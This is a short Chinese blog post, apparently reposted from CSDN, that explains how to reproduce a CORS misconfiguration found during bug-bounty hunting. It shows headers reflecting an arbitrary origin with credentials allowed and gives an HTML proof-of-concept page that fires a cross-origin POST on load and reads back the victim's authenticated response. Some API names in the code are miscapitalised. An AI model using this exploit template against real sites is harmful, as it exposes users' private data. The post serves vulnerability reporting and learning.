CORS跨域访问

这个漏洞是在挖漏洞的时候遇到的,大佬给我说这个漏洞厂商收。所以就来总结一波

我就来说说复现的姿势吧

找到存在漏洞的url

我们来看正常的回显

现在来改他的请求包   在请求包里面增加payload  看看回显

Access-Control-Allow-Origin: http://svdXXfL0.com

Access-Control-Allow-Credentials: true

现在即可证明存在此漏洞   但是我们要来构造一个POC  像点击劫持那样去访问自己构造的.html文件  我们的目的就是截取图中回显的马赛克里面的内容

现在构造POC  只需修改里面的漏洞url就行了

<!DOCTYPE html><html><head>    <title>CORS</title></head><body onload = "getData()"> </body></html><script type="text/javascript">    function getData(){    var xmlhttp;    if (window.xmlHttpRequest)      {      xmlhttp=new xmlHttpRequest();      }    else      {      xmlhttp=new ActiveXobject("Microsoft.xmlHTTP");      }    xmlhttp.onreadystatechange=function()      {      if (xmlhttp.readyState==4 && xmlhttp.status==200)        {            data=xmlhttp.responseText;            document.write(data);        }          }    xmlhttp.open("POST","漏洞url",true);    xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");     xmlhttp.send("funcNo=1000320&group_id=1&add_id=");}</script>

改后缀为html文件  访问之后

 

 

猜你喜欢

转载自blog.csdn.net/Bul1et/article/details/84847804